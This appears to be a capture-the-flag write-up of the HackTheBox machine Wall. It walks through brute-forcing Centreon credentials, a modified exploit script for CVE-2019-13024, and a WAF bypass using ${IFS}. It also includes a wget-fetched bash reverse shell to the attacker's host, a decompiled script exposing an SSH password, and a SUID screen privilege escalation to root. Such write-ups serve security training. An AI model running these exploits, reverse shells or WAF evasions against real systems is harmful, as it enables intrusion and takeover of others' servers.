HTB: Wall
Wall presented a series of challenges wrapped around two public exploits. The first exploit was a CVE in Centreon software. But to find it, I had to take advantage of a misconfigured webserver that only requests authenticatoin on GET requests, allowing POST requests to proceed, which leads to the path to the Centreon install. Next, I’ll use the public exploit, but it fails because there’s a WAF blocking requests with certain keywords. I’ll probe to identify the blocks words, which includes the space character, and use the Linux environment variable ${IFS} instead of space to get command injection. Once I have that, I can get a shell on the box. There’s a compiled Python file in the users home directory, which I can decompile to find the password for the second user. From either of these users, I can exploit SUID screen to get a root shell. In Beyond Root, I’ll look at the webserver configuration, the WAF, improve the exploit script, and look at some trolls the author left around.
Box Info
Name | Wall Play on HackTheBox |
---|---|
Release Date | 14 Sep 2019 |
Retire Date | 7 Dec 2019 |
OS | Linux |
Base Points | Medium [30] |
Rated Difficulty | |
Radar Graph | |
02:17:37 |
|
02:17:18 |
|
Creator |
Recon
nmap
nmap
returns a very typical combination of services, ssh (22) and http (80):
root@kali# nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.157
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-14 15:02 EDT
Warning: 10.10.10.157 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.157
Host is up (0.19s latency).
Not shown: 42968 closed ports, 22565 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 54.94 seconds
root@kali# nmap -sC -sV -p 22,80 -oA scans/nmap-tcpscripts 10.10.10.157
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-14 15:03 EDT
Nmap scan report for 10.10.10.157
Host is up (0.071s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2e:93:41:04:23:ed:30:50:8d:0d:58:23:de:7f:2c:15 (RSA)
| 256 4f:d5:d3:29:40:52:9e:62:58:36:11:06:72:85:1b:df (ECDSA)
|_ 256 21:64:d0:c0:ff:1a:b4:29:0b:49:e1:11:81:b6:73:66 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.41 seconds
Apache and OpenSSH versions both point to Ubuntu Bionic (18.04).
Website - TCP 80
Site
Gives a default Apache page:
Directory Brute Force
gobuster
returns a couple paths / files:
root@kali# gobuster dir -u http://10.10.10.157 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt -t 40
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.157
[+] Threads: 40
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php,txt
[+] Timeout: 10s
===============================================================
2019/09/14 15:06:07 Starting gobuster
===============================================================
/aa.php (Status: 200)
/monitoring (Status: 401)
/panel.php (Status: 200)
/server-status (Status: 403)
===============================================================
2019/09/14 15:53:08 Finished
===============================================================
php Pages
Both aa.php
and panel.php
don’t return anything interesting:
root@kali# curl 10.10.10.157/aa.php
1
root@kali# curl 10.10.10.157/panel.php
Just a test for php file !
Because there was no where else to look, I spent some time trying to fuzz parameters at both of these. I didn’t discover any parameters for GET or POST, but I did see some 403s come back when I posted:
root@kali# wfuzz -c -u http://10.10.10.157/panel.php -d 'FUZZ=0xdf' -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt --hh 26
********************************************************
* Wfuzz 2.4 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.157/panel.php
Total requests: 2588
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000160: 403 11 L 32 W 296 Ch "hostname"
000000435: 403 11 L 32 W 296 Ch "passwd"
Total time: 28.51029
Processed Requests: 2588
Filtered Requests: 2586
Requests/sec.: 90.77422
In fact, when I post with either of these phrases to even static pages, it comes back 403:
root@kali# curl http://10.10.10.157 -d "hostname"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /
on this server.<br />
</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at 10.10.10.157 Port 80</address>
</body></html>
So there is some kind of web application firewall (WAF) running here.
/monitoring
Visiting /monitoring
prompts for basic auth:
I’ll take a hint from the prompt that the username is admin. Finding nothing else, I did kick off a hydra
run against the form:
root@kali# hydra -l admin -P /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-10000.txt 10.10.10.157 http-get /monitoring/
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-09-15 02:22:39
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 10000 login tries (l:1/p:10000), ~625 tries per task
[DATA] attacking http-get://10.10.10.157:80/monitoring/
[STATUS] 3019.00 tries/min, 3019 tries in 00:01h, 6981 to do in 00:03h, 16 active
[STATUS] 3039.50 tries/min, 6079 tries in 00:02h, 3921 to do in 00:02h, 16 active
[STATUS] 3046.00 tries/min, 9138 tries in 00:03h, 862 to do in 00:01h, 16 active
1 of 1 target completed, 0 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-09-14 16:26:06
While that was running, I did try a post to the path, and it resolved!
root@kali# curl -X POST http://10.10.10.157/monitoring/
<h1>This page is not ready yet !</h1>
<h2>We should redirect you to the required page !</h2>
<meta http-equiv="refresh" content="0; URL='/centreon'" />
It’s a redirect to /centreon
.
/centreon
Unsurprisingly this path is running an instance of Centreon, an open source infrastructure monitoring software:
Based on some googling for default creds, I tried all combinations of “centreon”, “admin”, and “root”, but didn’t get logged in.
Shell as www-data
Find Exploit
Some googling reveals that not only is there an RCE exploit against Centreon v19.04, but it was discovered by Wall’s creator(who it seems forgot to renew his domain at the time of writing, here’s the Google cached version), and he has exploit code on GitHub. That’s a pretty good clue that I’m in the right spot.
I’ll download the script and take a look. Unfortunately, this exploit requires authentication.
Brute Force Creds
hydra
After significantly more enumeration looking for credentials, I set out to try to brute force my way into Centreon. But looking at the POST request to login, there’s a problem:
POST /centreon/index.php HTTP/1.1
Host: 10.10.10.157
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.157/centreon/
Content-Type: application/x-www-form-urlencoded
Content-Length: 98
Cookie: PHPSESSID=jc6r4ut6cq0e9nssnfk8dskaq0
Connection: close
Upgrade-Insecure-Requests: 1
useralias=admin&password=admin&submitLogin=Connect¢reon_token=8401dc563787157a951dfea15f0bcf44
The centreon_token
parameter changes on each page load. On a failed login, I see:
<div class="error_msg"><span class='msg'>Your credentials are incorrect.</span></div>
But when I send it to repeater and submit again:
<div class='msg' align='center'>The form has not been submitted since 15 minutes. Please retry to resubmit<a href='' OnLoad = windows.location(); alt='reload'> here</a></div>
This is because the token isn’t right. That rules out something like hydra
.
Exploit Script
Looking at the script, it uses requests
to issue five HTTP requests:
- A GET to
/index.php
to add the php session cookie to the session and find the token. - A POST to
/index.php
to login. If the login fails, it prints a message and exits. - A GET to
/main.get.php?p=60901
to get a “Poller token”. - A POST to
/main.get.php?p=60901
that includes the payload. - A GET to
/include/configuration/configGenerate/xml/generateFiles.php
to trigger the payload.
I considered writing my own script to brute force the credentials, but this script already does what I want. I did add features="lxml"
to each of the BeautifulSoup
calls, otherwise there’s a lout error on running.
I’ll run a bash
for loop over a list of passwords. For each password, I’ll run the exploit script, and pipe the output into grep
. I see in the script that the first thing it does after a successful login is print("[+] Logged In Sucssfully")
. So I’ll grep
for that and then add && echo $pass && break
. That means that if the grep
is successful, it will echo the password that worked, and then end the loop.
All of that runs and gets the password in about four minutes using the twitter-banned.txt
password list:
root@kali# time for pass in $(cat /usr/share/wordlists/seclists/Passwords/twitter-banned.txt); do ./centreon-exploit.py http://10.10.10.157/centreon admin $pass 10.10.14.30 443 | grep "Logged In" && echo $pass && break; done
[+] Logged In Sucssfully
password1
real 3m49.380s
user 2m22.758s
sys 0m14.211s
API
An even better way to do this brute force is to use the Centreon API. Based on that documentation, I can attempt authentication using the following curl
:
root@kali# curl 10.10.10.157/centreon/api/index.php?action=authenticate -d "username=admin&password=admin"
"Bad credentials"
I can do a similar bash loop, and this time it finds the password in less than a minute:
root@kali# time for pass in $(cat /usr/share/wordlists/seclists/Passwords/twitter-banned.txt); do curl -s 10.10.10.157/centreon/api/index.php?action=authenticate -d "username=admin&password=${pass}" | grep authToken && echo $pass && break; done
{"authToken":"UZVQydKGAqV5v7YfpfHNDepxax\/QiCGW5iiqGOw0iX8="}
password1
real 0m55.771s
user 0m3.379s
sys 0m2.262s
Exploit Fails
Armed with the creds, I opened a nc
listener and ran the exploit script:
root@kali# ./centreon-exploit.py http://10.10.10.157/centreon/ admin password1 10.10.14.30 443
[+] Retrieving CSRF token to submit the login form
[+] Login token is : 77dc6f59344b11c223b864e612c90cac
[+] Logged In Sucssfully
[+] Retrieving Poller token
[+] Poller token is : e76df3722b39e59e312024617c21b801
[+] Injecting Done, triggering the payload
[+] Check you netcat listener !
It seemed to work fine, but I didn’t get a shell.
I opened the script back up, and took a look at the section where the payload is sent:
payload_info = {
"name": "Central",
"ns_ip_address": "127.0.0.1",
# this value should be 1 always
"localhost[localhost]": "1",
"is_default[is_default]": "0",
"remote_id": "",
"ssh_port": "22",
"init_script": "centengine",
# this value contains the payload , you can change it as you want
"nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port),
"nagiostats_bin": "/usr/sbin/centenginestats",
"nagios_perfdata": "/var/log/centreon-engine/service-perfdata",
"centreonbroker_cfg_path": "/etc/centreon-broker",
"centreonbroker_module_path": "/usr/share/centreon/lib/centreon-broker",
"centreonbroker_logs_path": "",
"centreonconnector_path": "/usr/lib64/centreon-connector",
"init_script_centreontrapd": "centreontrapd",
"snmp_trapd_path_conf": "/etc/snmp/centreon_traps/",
"ns_activate[ns_activate]": "1",
"submitC": "Save",
"id": "1",
"o": "c",
"centreon_token": poller_token,
}
send_payload = request.post(poller_configuration_page, payload_info)
print("[+] Injecting Done, triggering the payload")
There’s a lot to not like about the way this exploit is written. The payload relies on the insecure nc
with -e
being on the target, and there’s no error checking. I added a print statement just above the last one to print the send_payload.status_code
, and ran again:
root@kali# ./centreon-exploit.py http://10.10.10.157/centreon/ admin password1 10.10.14.30 443
[+] Retrieving CSRF token to submit the login form
[+] Login token is : 6e9b4561b4c05180b23c8d0b854ed7a0
[+] Logged In Sucssfully
[+] Retrieving Poller token
[+] Poller token is : 720954a0f1742c2428b9fc9c8c00a670
[*] Payload inject status code: 403
[+] Injecting Done, triggering the payload
[+] Check you netcat listener !
That’s why it’s failing. The injection POST is being blocked by the WAF.
I emptied out the payload line:
# this value contains the payload , you can change it as you want
#"nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port),
"nagios_bin": "",
And ran again:
root@kali# ./centreon-exploit.py http://10.10.10.157/centreon/ admin password1 10.10.14.30 443
[+] Retrieving CSRF token to submit the login form
[+] Login token is : fe57a7dc6569207997e51a35b33e7a4a
[+] Logged In Sucssfully
[+] Retrieving Poller token
[+] Poller token is : 4654f45a045a9fea5c86d690ae9f02bc
[*] Payload inject status code: 200
[+] Injecting Done, triggering the payload
[+] Check you netcat listener !
It was passed through. Obviously I didn’t get code execution, but now I have a clear task to find a payload that bypasses the WAF and returns a shell.
Script Update
I decided to update the exploit script to better suit the task. I wasn’t a huge fan of having a ncat -e
payload in there to begin with, as it’s more likely than not that -e
won’t be available. I changed the script so that rather than trying to force a specific reverse shell, it takes a command to run. The top looks like:
if len(sys.argv) != 5:
print(len(sys.argv))
print("[~] Usage : ./centreon-exploit.py url username password command")
exit()
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
command = sys.argv[4]
And in the middle, I replaced:
"nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port),
with:
"nagios_bin": command,
That was good enough as far as script upgrades to get a shell. But I did play with it some more, which I’ll talk about in Beyond Root.
WAF Testing
I knew that hostname
triggered the WAF earlier on this box. It does here as well:
root@kali# ./centreon-0xdf.py http://10.10.10.157/centreon/ admin password1 "hostname"
[+] Retrieving CSRF token to submit the login form
[+] Login token is : 394206ab8aca7d49e54f2cd3a4a3bd1d
[+] Logged In Sucssfully
[+] Retrieving Poller token
[+] Poller token is : 2cbdf5f8ce42cbeebde67e8925bfc04b
[*] Payload inject status code: 403
[+] Injecting Done, triggering the payload
[+] Check you netcat listener !
So I started checking different commands. nc
gave a 403, but curl
and wget
were good. Armed with those, I wanted to see if I could create a connection back. I ran python3 -m http.server 80
and then issued wget 10.10.14.30
. It returned 403.
My first thought was that it was blocking on IP addresses. So I tried wget wget
, but it still failed. I tried wget
(there’s a space at the end), and it returned 403! It seems that space is blocked at the firewall. This is a pretty unrealistic challenge, and I suspect completely breaks the Centreon application. But I’ll continue.
I know a way to say space without using that character is the ${IFS}
variable. I’ll give it a try, making sure to put my payload in single quotes so that my bash doesn’t evaluate the variable:
root@kali# ./centreon-0xdf.py http://10.10.10.157/centreon/ admin password1 'wget${IFS}10.10.14.30'
[+] Retrieving CSRF token to submit the login form
[+] Login token is : c3e06f0952f4b5ed743cf4be0a4434a0
[+] Logged In Sucssfully
[+] Retrieving Poller token
[+] Poller token is : ed900e21690e570728e12e1cba70c926
[*] Payload inject status code: 200
[+] Injecting Done, triggering the payload
[+] Check you netcat listener !
And I get a request on my webserver:
10.10.10.157 - - [15/Sep/2019 04:49:43] "GET / HTTP/1.1" 200 -
I wrote a quick reverse shell script:
root@kali# cat shell
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.30/443 0>&1
I tried to get wget
to output to stdout and pipe that into bash
, but i couldn’t get that to work. But I did get this to work:
wget${IFS}10.10.14.30/shell${IFS}-O${IFS}/tmp/0xdf;${IFS}bash${IFS}-i${IFS}/tmp/0xdf
This uses wget
to get the shell file and save it to /tmp
, and then use bash
to run it.
root@kali# ./centreon-0xdf.py http://10.10.10.157/centreon/ admin password1 'wget${IFS}10.10.14.30/shell${IFS}-O${IFS}/tmp/0xdf;${IFS}bash${IFS}-i${IFS}/tmp/0xdf'
[+] Retrieving CSRF token to submit the login form
[+] Login token is : 1892910fb24da4dd4d54fabd156f46fe
[+] Logged In Sucssfully
[+] Retrieving Poller token
[+] Poller token is : 71d739093f67a73ed21c823778f3f052
[*] Payload inject status code: 200
[+] Injecting Done, triggering the payload
[+] Check you netcat listener !
Hits on webserver:
10.10.10.157 - - [15/Sep/2019 05:34:00] "GET /shell HTTP/1.1" 200 -
And then shell:
root@kali# nc -lnvp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.157.
Ncat: Connection from 10.10.10.157:35064.
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@Wall:/usr/local/centreon/www$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),6000(centreon)
I can see user.txt
, but I can’t read it:
www-data@Wall:/home/shelby$ ls -l
total 12
-rw-rw-r-- 1 shelby shelby 4567 Jul 30 17:37 html.zip
-rw------- 1 shelby shelby 33 Jul 4 01:22 user.txt
Priv: www-data –> shelby
Enumeration
In /opt
, there’s a hidden directory:
www-data@Wall:/opt$ ls -la
total 12
drwxr-xr-x 3 root root 4096 Jul 4 17:28 .
drwxr-xr-x 23 root root 4096 Jul 4 00:25 ..
drwxr-xr-x 2 root root 4096 Jul 30 17:39 .shelby
It has a single file, which is a python byte compiled program:
www-data@Wall:/opt/.shelby$ file backup
backup: python 2.7 byte-compiled
I can run it:
www-data@Wall:/opt/.shelby$ python backup
[+] Done !
But I can’t read it in its current form:
www-data@Wall:/opt/.shelby$ cat backup
^V@]c@stddlZdZdZdZejeefZdZeed7Zeed7Zee7Zeed 7Zeed
7Zeed
7Zeed
7Zeed7Zeed7Zeed7Zeed7Zeed7Zeed7Zeed7Zeed7Zeed7Zeed7Zeed7Zeed7Zeed7Zeed7Zeed7Zej dedeej
j
eZ
e
ddGHdS(iNtshelbywall.htbittSthtetltbtytPtatstwt@trtdtItttotntgt!usernamepasswords/var/www/html.ziphtml.zips
[+] Done !(paramikoRthosttportt Transportt transportRtchrtordtconnectt
SFTPClienttfrom_transportt
sftp_clienttput(((s backup.py<module>s@
Decode pyc
I’ll use uncompyle6 to decode the byte code back into Python. First, I’ll install it with pip install uncompyle6
. Then, I’ll move the backup
back to my box with nc
.
Now run it:
root@kali# uncompyle6 backup.pyc
# uncompyle6 version 3.4.0
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.16 (default, Apr 6 2019, 01:42:57)
# [GCC 8.3.0]
# Embedded file name: backup.py
# Compiled at: 2019-07-30 10:38:22
import paramiko
username = 'shelby'
host = 'wall.htb'
port = 22
transport = paramiko.Transport((host, port))
password = ''
password += chr(ord('S'))
password += chr(ord('h'))
password += chr(ord('e'))
password += chr(ord('l'))
password += chr(ord('b'))
password += chr(ord('y'))
password += chr(ord('P'))
password += chr(ord('a'))
password += chr(ord('s'))
password += chr(ord('s'))
password += chr(ord('w'))
password += chr(ord('@'))
password += chr(ord('r'))
password += chr(ord('d'))
password += chr(ord('I'))
password += chr(ord('s'))
password += chr(ord('S'))
password += chr(ord('t'))
password += chr(ord('r'))
password += chr(ord('o'))
password += chr(ord('n'))
password += chr(ord('g'))
password += chr(ord('!'))
transport.connect(username=username, password=password)
sftp_client = paramiko.SFTPClient.from_transport(transport)
sftp_client.put('/var/www/html.zip', 'html.zip')
print '[+] Done !'
# okay decompiling backup.pyc
Basically, the file is using paramiko
to connect to Wall, and put html.zip
in place. It builds the password one character at a time, presumably so that it’s not in the strings of the file. But this provides an ssh password for shelby, “ShelbyPassw@rdIsStrong!”
root@kali# python -c "password = ''
> password += chr(ord('S'))
> password += chr(ord('h'))
> password += chr(ord('e'))
> password += chr(ord('l'))
> password += chr(ord('b'))
> password += chr(ord('y'))
> password += chr(ord('P'))
> password += chr(ord('a'))
> password += chr(ord('s'))
> password += chr(ord('s'))
> password += chr(ord('w'))
> password += chr(ord('@'))
> password += chr(ord('r'))
> password += chr(ord('d'))
> password += chr(ord('I'))
> password += chr(ord('s'))
> password += chr(ord('S'))
> password += chr(ord('t'))
> password += chr(ord('r'))
> password += chr(ord('o'))
> password += chr(ord('n'))
> password += chr(ord('g'))
> password += chr(ord('!'))
> print password"
ShelbyPassw@rdIsStrong!
SSH as shelby
Now I can connect over SSH as shelby:
root@kali# ssh shelby@10.10.10.157
shelby@10.10.10.157's password:
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-54-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Jul 30 17:36:33 2019 from 192.168.178.1
shelby@Wall:~$
And I can grab user.txt
:
shelby@Wall:~$ cat user.txt
fe619454************************
Priv: shelby –> root
Enumeration
When I run LinEnum, I always use -t
for thorough tests. This includes SUID binaries. When I saw those results, screen
jumped out at me as interesting and non-default:
[-] SUID files:
-rwsr-xr-x 1 root root 43088 Oct 15 2018 /bin/mount
-rwsr-xr-x 1 root root 64424 Mar 10 2017 /bin/ping
-rwsr-xr-x 1 root root 1595624 Jul 4 00:25 /bin/screen-4.5.0
-rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
-rwsr-xr-x 1 root root 44664 Mar 22 21:05 /bin/su
-rwsr-xr-x 1 root root 26696 Oct 15 2018 /bin/umount
-rwsr-xr-x 1 root root 44528 Mar 22 21:05 /usr/bin/chsh
-rwsr-xr-x 1 root root 59640 Mar 22 21:05 /usr/bin/passwd
-rwsr-xr-x 1 root root 75824 Mar 22 21:05 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 18448 Mar 10 2017 /usr/bin/traceroute6.iputils
-rwsr-xr-x 1 root root 76496 Mar 22 21:05 /usr/bin/chfn
-rwsr-xr-x 1 root root 40344 Mar 22 21:05 /usr/bin/newgrp
-rwsr-xr-x 1 root root 149080 Jan 18 2018 /usr/bin/sudo
-rwsr-xr-- 1 root messagebus 42992 Jun 10 21:05 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 436552 Mar 4 2019 /usr/lib/openssh/ssh-keysign
-r-sr-xr-x 1 root root 13628 Aug 28 14:41 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
-r-sr-xr-x 1 root root 14320 Aug 28 14:41 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
-rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
The binary is executable by all users, so there’s actually nothing to stop me from doing this exploit from www-data (that’s actually what I did when the box was live).
Exploit
screen
jumps out because I’ve already done a privesc against screen
in HTB, in FluJab. This case is easier, as there is a compiler on the box:
www-data@Wall:/$ which gcc
/usr/bin/gcc
I’ll grab the shell script from the screen2root repo, and save it in /dev/shm
as .a.sh
. Now I run that, and get a shell:
www-data@Wall:/dev/shm$ bash .a.sh
~ gnu/screenroot ~
[+] First, we create our shell and library...
/tmp/libhax.c: In function 'dropshell':
/tmp/libhax.c:7:5: warning: implicit declaration of function 'chmod'; did you mean 'chroot'? [-Wimplicit-function-declaration]
chmod("/tmp/rootshell", 04755);
^~~~~
chroot
/tmp/rootshell.c: In function 'main':
/tmp/rootshell.c:3:5: warning: implicit declaration of function 'setuid'; did you mean 'setbuf'? [-Wimplicit-function-declaration]
setuid(0);
^~~~~~
setbuf
/tmp/rootshell.c:4:5: warning: implicit declaration of function 'setgid'; did you mean 'setbuf'? [-Wimplicit-function-declaration]
setgid(0);
^~~~~~
setbuf
/tmp/rootshell.c:5:5: warning: implicit declaration of function 'seteuid'; did you mean 'setbuf'? [-Wimplicit-function-declaration]
seteuid(0);
^~~~~~~
setbuf
/tmp/rootshell.c:6:5: warning: implicit declaration of function 'setegid' [-Wimplicit-function-declaration]
setegid(0);
^~~~~~~
/tmp/rootshell.c:7:5: warning: implicit declaration of function 'execvp' [-Wimplicit-function-declaration]
execvp("/bin/sh", NULL, NULL);
^~~~~~
/usr/bin/ld: cannot open output file /tmp/rootshell: Permission denied
collect2: error: ld returned 1 exit status
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data),6000(centreon)
I can grab root.txt
(and user.txt
if I hadn’t already):
root@Wall:/root# cat root.txt
1fdbcf8c************************
Beyond Root
Basic Auth
I managed to find the /centreon
path by posting to /monitoring
when it was asking for auth on a GET, and it let me through. Once I got a shell, I took a look at the web directory:
www-data@Wall:/var/www/html$ find .
.
./aa.php
./index.html
./panel.php
./monitoring
./monitoring/index.html
./monitoring/.htaccess
It’s the .htaccess
page that defines the restrictions:
www-data@Wall:/var/www/html$ cat monitoring/.htaccess
AuthUserFile /etc/.htpasswd
AuthName "Protected area by the admin"
AuthType Basic
<Limit GET>
require valid-user
</Limit>
It only has a limit on GET requests, not POST, which is why the POST request goes through. Typically this would be written like:
<Limit GET POST PUT>
require valid-user
</Limit>
ModSecurity
ModSecurity is an open source WAF. In this case, it’s loaded into apache
. Configuration files for enabled apache
modules are in /etc/apache2/mods-enabled/
:
root@Wall:/etc/apache2/mods-enabled# ls *.conf
alias.conf mime.conf proxy.conf status.conf
autoindex.conf mpm_prefork.conf reqtimeout.conf
deflate.conf negotiation.conf security2.conf
dir.conf php7.3.conf setenvif.conf
security2.conf
shows the ModSecurity config:
root@Wall:/etc/apache2/mods-enabled# cat security2.conf
<IfModule security2_module>
# Default Debian dir for modsecurity's persistent data
SecDataDir /var/cache/modsecurity
# Include all the *.conf files in /etc/modsecurity.
# Keeping your local configuration in that directory
# will allow for an easy upgrade of THIS file and
# make your life easier
IncludeOptional /etc/modsecurity/*.conf
# Include OWASP ModSecurity CRS rules if installed
#IncludeOptional /usr/share/modsecurity-crs/owasp-crs.load
</IfModule>
It’s mostly comments, but it includes all the .conf
files in /etc/modsecurity/
. There’s only one:
root@Wall:/etc/modsecurity# ls *.conf
modsecurity.conf
It contains rules for the things I had noticed were blocked:
root@Wall:/etc/modsecurity# cat modsecurity.conf
SecRuleEngine On
SecRequestBodyAccess On
# block nc word
SecRule REQUEST_BODY "\bnc\b" "id:00001,deny,msg:'blocked'"
# block ncat word
SecRule REQUEST_BODY "\bncat\b" "id:00002,deny,msg:'blocked'"
# block passwd word
SecRule REQUEST_BODY "\bpasswd\b" "id:00003,deny,msg:'blocked'"
# block # char
SecRule REQUEST_BODY "%23" "id:00004,deny,msg:'blocked'"
# block any whitespace
SecRule REQUEST_BODY "\+" "id:00005,deny,msg:'blocked'"
# block hostname word
SecRule REQUEST_BODY "\bhostname\b" "id:00006,deny,msg:'blocked'"
It’s blocking nc
, ncat
, passwd
, #
, +
, and hostname
. I’ll notice all of these rules are looking at the REQUEST_BODY.
Script Upgrades
Working the box, I needed to make the script able to take commands that I gave it at the command line so that I could bypass the WAF and get a shell. But I did take it a bit further:
- Integrate substitution for space so that I don’t have to type
${IFS}
. - Get output of commands.
- Add error handling for WAF failures.
First, I added a simple upgrade to the payload to get around the WAF, at least for the space, by changing the payload to:
command = sys.argv[4].replace(' ', '${IFS}')
Next, I noticed in the blog post that he was able to read the output of his commands. I also noticed that the injection is into a PHP shell_exec
, where my input string is at the front of the input. In the blog post, he ends his payload with a #
, which is a comment. But it’s also a character that triggers the WAF. Another thing I could add to the end of my string is ||
, or logical or. This means that assuming my command succeeds, it won’t run what comes next. I added that into the payload:
"nagios_bin": f'{command}||'
Now I can see the output when I send the second POST. I’ll add some regex to extract the results, as well as some error handling.
The resulting code is:
#!/usr/bin/python3
'''
# Exploit Title: Centreon v19.04 authenticated Remote Code Execution
# Date: 28/06/2019
# Exploit Author: Askar (@mohammadaskar2):
# Modified By: 0xdf
# CVE : CVE-2019-13024
# Vendor Homepage: https://www.centreon.com/
# Version: v19.04
# Tested on: CentOS 7.6 / PHP 5.4.16
'''
import re
import requests
import socket
import sys
import warnings
from bs4 import BeautifulSoup
# turn off BeautifulSoup warnings
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
if len(sys.argv) != 5:
print(len(sys.argv))
print("[~] Usage : ./centreon-exploit.py url username password command")
exit()
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
command = sys.argv[4].replace(" ", '${IFS}')
burp = {'http': 'http://localhost:8080'}
request = requests.session()
request.proxies = burp
print("[+] Retrieving CSRF token to submit the login form")
page = request.get(url+"/index.php")
html_content = page.text
soup = BeautifulSoup(html_content, features="lxml")
token = soup.findAll('input')[3].get("value")
login_info = {
"useralias": username,
"password": password,
"submitLogin": "Connect",
"centreon_token": token
}
login_request = request.post(url+"/index.php", login_info)
print("[+] Login token is : {0}".format(token))
if "Your credentials are incorrect." not in login_request.text:
print("[+] Logged In Sucssfully")
print("[+] Retrieving Poller token")
poller_configuration_page = url + "/main.get.php?p=60901"
get_poller_token = request.get(poller_configuration_page)
poller_html = get_poller_token.text
poller_soup = BeautifulSoup(poller_html, features="lxml")
poller_token = poller_soup.findAll('input')[24].get("value")
print("[+] Poller token is : {0}".format(poller_token))
payload_info = {
"name": "Central",
"ns_ip_address": "127.0.0.1",
# this value should be 1 always
"localhost[localhost]": "1",
"is_default[is_default]": "0",
"remote_id": "",
"ssh_port": "22",
"init_script": "centengine",
# this value contains the payload , you can change it as you want
"nagios_bin": f'{command}||',
"nagiostats_bin": "/usr/sbin/centenginestats",
"nagios_perfdata": "/var/log/centreon-engine/service-perfdata",
"centreonbroker_cfg_path": "/etc/centreon-broker",
"centreonbroker_module_path": "/usr/share/centreon/lib/centreon-broker",
"centreonbroker_logs_path": "",
"centreonconnector_path": "/usr/lib64/centreon-connector",
"init_script_centreontrapd": "centreontrapd",
"snmp_trapd_path_conf": "/etc/snmp/centreon_traps/",
"ns_activate[ns_activate]": "1",
"submitC": "Save",
"id": "1",
"o": "c",
"centreon_token": poller_token,
}
send_payload = request.post(poller_configuration_page, payload_info)
print(f"[*] Payload inject status code: {send_payload.status_code}")
if send_payload.status_code == 403:
print("[-] WAF blocked command. Try something else")
sys.exit()
print("[+] Injecting Done, triggering the payload")
generate_xml_page = url + "/include/configuration/configGenerate/xml/generateFiles.php"
xml_page_data = {
"poller": "1",
"debug": "true",
"generate": "true",
}
try:
resp = request.post(generate_xml_page, xml_page_data, timeout=5)
res = re.findall("id='debug_1'>(.*)<br><br></div><br/>]]", resp.text)[0]
print(res.replace('<br>','\n'))
except requests.Timeout:
pass
else:
print("[-] Wrong credentials")
exit()
When it runs, it looks like, with both a failure (hostname
is blacklisted) and a success:
